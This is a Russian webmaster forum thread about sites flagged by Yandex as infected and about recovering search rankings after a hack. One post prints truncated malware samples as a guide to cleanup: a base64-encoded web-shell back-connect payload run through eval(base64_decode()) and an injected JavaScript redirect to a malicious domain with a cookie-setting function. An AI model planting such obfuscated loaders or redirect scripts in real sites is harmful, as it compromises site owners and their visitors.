Вредоносный код

123 4
D
На сайте с 22.11.2009
Offline
22
#11

Такая же ситуация и у меня прозошла в Пасхальные дни. только через 3 дня смог перезалить данные на сервер. яндекс обнулил показатели сайта через 5 дней и досих пор не вернул.

fillonon
На сайте с 24.12.2009
Offline
147
#12

может есть какие то ссылки на иконки с другого сайта, который яндексом помечен как вредоносный, в общем гадать можно сколько угодно...

Если нужно SEO продвижение ( https://seouspeh.ru/ ) - конкурировал с миллиардерами в поиске
DH
На сайте с 05.04.2008
Offline
113
#13
dogmatek:
Такая же ситуация и у меня прозошла в Пасхальные дни. только через 3 дня смог перезалить данные на сервер. яндекс обнулил показатели сайта через 5 дней и досих пор не вернул.

Что значит обнулил у меня тиц на месте в выдаче вот сегодня ночью 10 страниц появилось, к утру исчезли уже.

Ты писал платонам? ответили нет?

+1
D
На сайте с 22.11.2009
Offline
22
#14
DpoHro:
Что значит обнулил у меня тиц на месте в выдаче вот сегодня ночью 10 страниц появилось, к утру исчезли уже.
Ты писал платонам? ответили нет?

В индексе 0 страниц, сайт в поиске не высвечивается. В техслужбу в пошлую пятницу писал, молчат пока.

R
На сайте с 24.01.2008
Offline
180
#15
VectorD:
Cайт был перепроверен 25 Апреля 2012. К сожалению, на сайте остались страницы, содержащие вредоносный код.
Не понимаю, как от него избавиться, скорее всего он считает нечто невредоносное вредосным.
Причем в вебмастере только главная страница показана как вредоносная. Но через поиск весь сайт показан вредоносным

Как и говорил ранее, если яндекс пишет, что сайт заражен так оно и есть, очень редко когда яндекс ошибается. Вирус может появляться раз в сутки, поэтому яндекс может, то показывать, что сайт заражен, то нет.

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
shedemon
На сайте с 04.06.2009
Offline
116
#16

Подскажите так как вылечить сайт от кода, таже проблема, быкапа без вируса не осталось =(..

Перезалил полностью новый WP движек новые плагины и новый шаблон подключил только базу.. Редирект пропал но но всеравно есть 10-40 переходов в сутки а было 1500, глюк счетчика или же сидит он гдето в базе ?

exarh
На сайте с 28.03.2010
Offline
503
#17
shedemon:
Подскажите так как вылечить сайт от кода, таже проблема, быкапа без вируса не осталось =(..
Перезалил полностью новый WP движек новые плагины и новый шаблон подключил только базу.. Редирект пропал но но всеравно есть 10-40 переходов в сутки а было 1500, глюк счетчика или же сидит он гдето в базе ?

Может опять перезаписался автоматом, проверьте.

Могли бы и код вируса привести тут.

Монетизируй (https://publishers.propellerads.com/#/pub/auth/signUp?ref_id=tnE) свой сайт с выгодой
sigor
На сайте с 02.05.2011
Offline
15
#18

Так нужно смотреть какой код залили, если просто вписали iframe на инфицированный ресурс илм eploit на js это одно... если шел залили это совсем другое (удалять модифицированный код без толку - опять зайдут через шелл и все переиначат, логи сервера тоже можна потереть так что не увидите, кто ходил).

К лечению нужно подойти комплексно - менять пароли к ftp админке и т.д., убивать сомнительных ( а лучше всех админов сайта)...

Искать код, как правило, он шифрованный (если это веб-щелл),

где то так (но не всегла):

.......

$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0

KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2N

........

вызвается где то так:

eval(base64_decode($back_connect_c);

После того как, вредоносный код убрали, стоит искать дыры, откуда код залили, делать апгрейд системы и т. д..

---------- Добавлено 29.04.2012 в 20:26 ----------

DpoHro

У Вас помоему js-редирект на инфицированный ресурс jindtesn.com

<script>document.location.href = "http://jindtesn.com";</script>

+ подмена кукисов и т. д.:

function setCookie(name,value,time){var today=new Date();var expire=new Date();if(props==null||props==0) props=10;expire.setTime(today.getTime()+time);value=encodeURIComponent(value);var updatedCookie=name+"="+value+";expires="+expire.toGMTString();document.cookie=updatedCookie;}

...

Dr Web:

URL заблокирован SpIDer Gate
jindtesn.com/Причина: Источник распространения вирусов
Дата: ‎29.‎04.‎2012 ‏‎20:23
sigor
На сайте с 02.05.2011
Offline
15
#19

Посмотрите сюда есть скрипт для отлова бацылы

D
На сайте с 22.11.2009
Offline
22
#20

DpoHro, Хотел бы поинтересоваться по вопросу возврата страниц в индекс после взлома сайта. Насколько быстро проходит процесс по возврату страниц в индекс Яндекса вашего сайта и если писали в тех поддержку, то что ответили?

У меня вернулось на данный момент 10 страниц, и то это страницы с новыми материалами, которые добавляются в яндекс.новости. В техподдержке ответили через неделю, что позже сообщат причину обнуления показателей:

...Мы постараемся в скором времени определить, по какой причине он отсутствует в поиске, и свяжемся с Вами

Вообщем ничего определенного.

123 4

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий